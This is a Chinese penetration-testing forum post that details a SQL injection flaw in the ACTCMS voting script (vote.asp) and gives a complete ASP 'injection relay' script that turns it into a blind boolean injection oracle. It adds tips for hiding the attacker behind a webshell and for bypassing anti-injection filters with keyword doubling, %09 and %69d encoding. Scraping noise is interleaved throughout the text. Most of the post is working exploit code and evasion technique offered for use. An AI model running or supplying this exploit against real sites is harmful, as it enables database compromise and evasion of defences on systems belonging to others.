中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
( T" r# L% A4 G5 ]' a4 r
看到ninty大牛的blog的一篇文章
# d4 Q4 N2 s& u- K Q0 i
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
d1 S! L+ B4 Q. N8 B& c( t* v
关于actcms漏洞的利用 by 3x qq:381862589
# H. a1 s1 i2 T N! e3 r8 R, O
转载请注明以上
/ W# Z6 U- W* k+ N3 V1 ?
漏洞文件:
1 d" z! i3 X) q/ f* B
/plus/vote/vote.asp
3 R: d2 s' p/ N' U. T
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
; H S2 g; `4 X2 n2 N5 e9 ? l
4 R/ `5 @9 O* x8 ^% }
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
* [2 C$ N* b# J! h7 E) u
* d: k! s4 z# A/ x5 u" i3 g
3 response.end
) Q* j0 j0 q# T# v9 L3 G9 c
2 r6 d$ I% n( [' x) r: B
4 end if
* Z( C+ S# J: f4 E
9 I5 T* q/ X7 t
5 for i=1 to request("voted").count
, `9 h0 ?2 x: d& r8 _
$ p2 G. q; E) H$ X8 j7 w! G
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
- s6 d0 X6 x% G
: L( ~! R6 P3 e1 w7 J0 F- p2 q
7 next
9 @9 h \+ C/ u4 r* a" _
& s" F# d Y- j5 B- m; ^. w6 h- k
8....
* B" Y1 `7 V3 ~* A
& D C- O1 Z5 O s
9response.Redirect "index.asp?id="&id&""
, s" F6 p9 C# v& A. N" m+ n+ Q
投票结束回跳转回index.asp这个投票结果页面
3 ]) s2 n6 Z. x! h
如果投票成功票数加1
% s% ?9 N1 G0 `- A; B/ \9 P+ _6 n6 Z
失败票数不变
, g& B' G' N2 B
如图:
" M9 ~9 \( G( g2 S! ]
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
3 g9 B# T- f% v% a2 d! I9 x
" f7 n N$ Q+ P" Y4 t
2009-12-27 13:20
3 u1 {" N3 D" \1 u
% c$ D7 ^, f3 S! e$ Z3 E
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
: K' `% |$ a* Q; B! b
3 K- P" Z8 B+ c' }
本帖隐藏的内容需要回复才可以浏览
* O; o; d( @) `- C. f
我们用注入中转来实现这个注入具体代码如下:
5 w b& \ v, ]0 I1 C
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: M& w+ l5 y& I+ Q) |% F# y# J
注入地址:http://localhost/actcms/plus/vote/vote.asp
! l4 D2 C% y8 x3 y
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
) j0 N4 j& L* h& h
$ X9 h. d P0 K2 m( k7 e+ z
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
; c0 N |, c1 U9 W0 y
8 {$ |5 o0 ?% q2 W2 [& u& Q6 y- {! p
02JmdcwName=request("jmdcw")
b, f; \5 M8 Y; d9 E) l
3 U6 T2 a5 W3 w. a8 z7 v
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
& m& L5 b& ]8 @7 u9 c
! K' e, [# d8 X2 L+ t6 x
04JmStr="id=1&voted=-1 or 1="&JmdcwName
" H: ]8 P+ d. @# ~
* n2 ^0 ^$ A) H7 ^% p
05JmStr=URLEncoding(JmStr)
) _6 S' G* {" i5 i# I. v$ l9 w
4 O k( [" X& ^
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
: L3 X H9 X ~5 F6 G! `, u
$ D8 q" T- {1 p
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
! j& d$ H. `3 W* L* z9 V% d6 o- Y
- I9 V5 D/ u5 S5 T
08testurl=testurl & "?" & JmStr
% {$ r$ [7 B8 z; i
2 R, M! v/ h, j8 W
09JMUrl=JMUrl & "?" & JmStr
5 e3 N B8 g' H5 L) Q/ ^; K
# j- M+ b4 B6 d: P' }4 U
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
! K, D2 m8 |( S1 B5 J& {6 H
" d/ g' b$ t$ [% j' s
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
& f4 ?- v9 p; A
: S% E: [" i3 ?0 R
12JmCok=replace(JmCok,chr(32),"%20")
0 l8 N9 k& u: B; {5 r
3 v8 {! W* B t U* w2 O; U! y
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' W% i' V+ W' Y4 r
) z1 x% p5 T( w6 }9 d( \
14
+ y$ v8 O$ O/ a3 H
- x* R( [; r. O8 ^/ i" b) C
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
; w- }" |# L! b* L6 a @
: v) V) g p& Y0 P
16
1 S/ D0 v. a! X, q1 A5 ?+ A
' l$ Z/ o- v! O* t* ?
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' l7 _+ O# v* Y8 U, D7 t3 ]
$ K$ Y3 R# l6 I
18response.write test1&""&test2&""
$ r& P' [$ ~8 Z7 v) [
" J2 m, y. F1 }1 Z5 ~! G
19
# f8 f; ~9 ?- `4 }/ Z
' x( N# M1 g) d
20if test1=test2 then '如前后记录相等,表示失败
2 E/ j& L O) E
. ^% {1 O0 f& Z' b
21 response.write "failed"
2 P0 S V' k$ ] }# Z% Y
- F/ ?; w% I* u( R+ k
22else
* Z9 S3 r' g$ k# i
9 _' ?/ c" E; q" B t6 B
23 response.write "succeed"
$ `( H5 Y. p- W; Z$ o& P6 W, Y ?
; W8 X4 E3 j$ X, w: G) ]$ [! Y7 }2 T
24end if
k' O. G! \7 e* D5 h) g8 ], e+ L/ y
; ]5 F3 ~( H# ^9 `) a" s0 ~
25
$ b8 I X. t( m3 }7 r: d+ l C9 r6 u9 A
3 }) X+ h7 @' s/ Z
26response.write "by 3x"
, \0 j" A" Y" H! }
# x) R3 T( @% @( s E
27
; n2 X" @: Y+ Z) M+ G# E# I
3 S; K2 p R7 l& a
28
, D, c' k3 K5 |4 a/ f# W. s
+ Y. b- E# k' D, `( k: ^( R8 _
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
/ Q. h# c2 G& u( N5 x* m% w
+ ?! ~' C0 h+ c6 C. z( b. M9 ~
30Dim Http
0 K! ~; w0 ]7 @5 X4 U1 }2 g+ k
4 T: U4 x5 ?9 s6 v+ R# q8 r$ M/ c; M
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
* S D( ~# p( {
5 S7 ]5 U& a$ V. D' d3 q A, `
32With Http
1 Z/ p6 m' V# K) l
% x9 G; W$ m5 O+ K" S: p9 L
33
5 x$ o: T( W6 i$ ]# Q0 n3 q; g6 B* T
* }' @+ S/ n0 R- e3 i* {
34.Open "GET",PostUrl,False
9 H8 F0 M: f, z# F: n: j: c
( F9 \; T$ |- o/ T3 t
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 X! S& b+ {' M. f* R$ v# }; U3 h: C' V
/ G# l' M5 U' ^2 k; {
36.SetRequestHeader "Referer",PostRef
$ @( k- E- N6 S7 a7 y) m
- {! x( [( V6 q9 t+ \
37.SetRequestHeader "Cookie",PostCok
4 q" h: b5 ^* D" L* W
, N2 j D( a3 d" V& u4 N
38.Send ()
0 [, L7 m/ s8 J$ g+ [
( [+ X0 b4 ]- n L
39PostData = .ResponseBody
: q2 @2 S, @, P0 B) i! ]
* }1 }; I/ i* {9 m/ ~. l, n/ j
40End With
X, C- E, Z# F! g& Y6 [4 Q/ k5 ~
. T& q$ \2 e: f4 S# C9 w |
41Set Http = Nothing
+ e( J( ]/ G% x( @
) V/ x* ^* o* C/ I% j
42PostData =bytes2BSTR(PostData)
% D K6 H% V$ v$ h/ J# k* M
1 Z+ x7 v7 W' K9 m. b# g. `
43End Function
2 S* b. R6 {% Z# X
$ y1 A) H4 N2 z6 y
44
3 i2 z5 J: z8 A$ k; G( H+ L. ?
# O% i1 A* D) W8 W( F
45
+ h# @, [9 s, C' M, h" r" K
' M, N( S9 J6 Q# x0 u3 {. q! I; O
46Function bytes2BSTR(vIn)
& s: y3 O- c9 V+ J& p+ d
5 |7 e# }6 a( B3 X' W
47Dim strReturn
2 K0 s9 X- @% [) `8 K4 i7 b9 u
8 T7 @" R3 ~/ g2 N7 P/ R
48Dim I, ThisCharCode, NextCharCode
) Y1 E& g/ g& e& O( {' ]* F+ t. X
; R/ z7 _/ ?* r
49strReturn = ""
" Y. N2 Z0 ] C3 W9 h
( X0 B8 y& S) i; r
50For I = 1 To LenB(vIn)
: R9 K6 X% Q9 F# R9 D, i
/ i2 e, t, _! w$ {$ H0 L4 c
51ThisCharCode = AscB(MidB(vIn, I, 1))
6 L+ N! K2 k8 v* ?) T* M
% w8 [$ g5 s! o
52If ThisCharCode < &H80 Then
5 ?& _, g) [# ]
- b( D# m5 Z4 V) }8 g1 K' u
53strReturn = strReturn & Chr(ThisCharCode)
( b* x6 Q' @$ ~& d& g+ D w8 U
6 f/ b- D/ K8 }! c8 Y, b
54Else
( k v; |4 g4 X+ {% C% U4 O* T7 C
8 p; j' B; q; Q
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
) T' {8 f* r0 w: U7 m
8 }% ] T3 u" Q1 y0 R# ~2 S
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
' p* `' w# `9 t
- G6 Z# N0 d3 h- }
57I = I + 1
" j8 O4 c$ F5 r! o6 @; F
* H# S4 J, `, a3 @
58End If
( g9 ~, a8 M- g I, J
% G7 F. p1 |: \ v5 D8 `; G0 `
59Next
7 U# y* V$ E+ d! x5 e# m
" D) U0 D, u3 \" W) y: e
60bytes2BSTR = strReturn
6 {0 T* l$ C. ^5 ?: m' ^) M
) x) T, g) J! g; B, Z
61End Function
. ~% x. \/ `. f2 f, o: a. Y
0 u7 @& k( t: x" d4 H
62
2 A- k6 I5 h5 Q4 v, w, N x5 x
8 e8 t P; O* G7 d9 U9 n
63Function URLEncoding(vstrin)
+ k, |" T' s. K( @2 m+ K; X
, Q# N8 ] ~8 b+ J0 Y4 {
64strReturn=""
9 {, D! _, E/ m @
5 i" U+ C% S p4 G+ W- Q
65Dim i
8 B( e6 z& J# o& S; y# p
8 z& \1 _' d5 J b/ K
66For i=1 To Len(vstrin)
" k G, G- M% ]: c- g
: T2 j# m8 q q) n, N. p
67ThisChr=Mid(vstrin,i,1)
( c( k) {) D/ v% \1 Q1 s) j
4 U( Y ]7 a) ^2 V
68if Abs(Asc(ThisChr))< &HFF Then
0 a! X# s# A! ]) z; C
5 u, f7 Q+ ?4 o; l
69strReturn=strReturn & ThisChr
% W0 W) J) }" ?6 y/ F
' X. n2 `" D5 J X
70Else
6 a! a& R; [4 p5 |
- e, q8 q$ K$ s! c5 T
71InnerCode=Asc(ThisChr)
9 Z3 ?7 W( F- C) b3 a1 K3 g
7 J5 W, l* k* k8 W8 f9 p |+ y
72If InnerCode<0 Then
0 o4 S* s" E3 u& d( m3 I
' {/ @+ D8 ?; d6 o" `( Y
73InnerCode=InnerCode + &H10000
, _) M6 J- |6 I, L# k# D: `! s. A
" V2 _0 z$ u4 }0 T
74End If
6 s. r0 l$ v6 m6 G2 y. _
* K$ u8 G) p9 J) _
75Hight1=(InnerCode And &HFF00) \&HFF
( D2 g |5 p4 g) ^
! K* @2 o! S- m) s
76Low1=InnerCode And &HFF
+ h7 G$ z2 B2 z. G; Q; l
) T* V _0 c* c- P7 m2 O
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- a' j0 r' x1 G- A5 X
4 Y- T' M* O1 k; H" c7 h
78End if
5 X# [8 J, A1 k8 ?/ h' l
7 Q$ L; k! [8 V* `- G# O
79Next
& s3 s1 S7 Z, d# v
) c+ O4 T% @) U" \1 n, l; L
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 l# G# E# H) G0 ^# V6 U
) @" ^, i! f" g6 o% \
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
! p! p2 |. x5 I* d O
0 `1 ~0 u) C- N* ?8 k( c' F
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
) V- p% }4 `* i2 |0 h6 e. [
1 z! c) D4 T% c6 U' s L9 H; c
83URLEncoding=strReturn
. ]& j4 l6 x' S4 J7 r
$ B6 A- g+ b( v8 ]
84End Function
1 @* g! J4 c, O8 W% U, t
2 o/ A& {0 ]. o, e* o
85
$ @5 W. \; g% H6 U, s) C( S3 ~
' ^" O. }2 o! E, Q2 }$ l
86function getSt(body)
1 t3 L3 `7 V9 c: i2 A9 ]5 o: q4 t
7 f% @8 e+ X8 p0 u8 K3 i
87 startpot=instr(body,"投票人数:")+len("投票人数:")
) P1 A9 w. o4 f+ p
. A0 s4 E& S4 S, ^2 {8 y
88 endpot=instr(startpot,body," ")
" @6 w5 E; S# t! r3 P3 U i
5 @2 E; r, O! [: M
89 getSt=mid(body,startpot,endpot-startpot)
7 S6 T! T. Z+ S
" X( `! E3 Y7 S$ T, e4 ]. B
90end function
. U% f( M) q1 y. ?5 P7 S" V
% {3 C s0 q- N
91%>
0 t; z8 F+ f7 }! j5 S! E
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
8 |* C' S' \7 {) f3 ]1 L
测试下效果:
8 ~/ ]! j) E# d3 X/ l
投票成功:
+ h# B4 r( h0 \: M1 q; _5 V' y
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
$ B ~( n- k- z! s( }
% ?, p0 C4 o, Q! H$ A+ K
2009-12-27 13:29
: V4 i% @2 Z6 @! ?+ O
投票失败
% d& w1 t- N7 e+ c0 ?
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
6 a$ e4 Q* L4 b5 D" m: P$ J# F
( b9 d! c, V6 z: k3 P
2009-12-27 13:29
2 @7 ]& Y& c7 U! L9 S
-------------------------------------------------------------------------------
) Q2 e2 E# _3 s5 q+ U+ ?6 S0 `
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ e Q8 W" c- |: c
很抱歉。。。只能用单线程工具去注入。。。。。
e, F6 ]: s6 Q- W6 @
所以失败。。。不好意思。。。
$ c) x7 u# z3 J5 T/ b+ `
-------------------------------------------------------------------------------
# z0 _( G4 v# b0 D2 C( m5 c
3 K; x6 Z7 B" O
注入中转的一些其他应用
2 {6 O8 B# Y$ D9 o
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
7 W# h6 w% U, j+ _2 Y4 p
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
2 k9 h& U C4 `$ P
2.post注入转成get型的注入,方便我们使用工具来跑
* j1 E! }0 {6 d, i7 n, @
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
) ]2 y" t. S( v; Z" J3 c" C
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
8 I! x4 n7 h/ k5 p7 s0 e
5 L$ ]9 s( Q! j! C7 A# W# i9 @
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2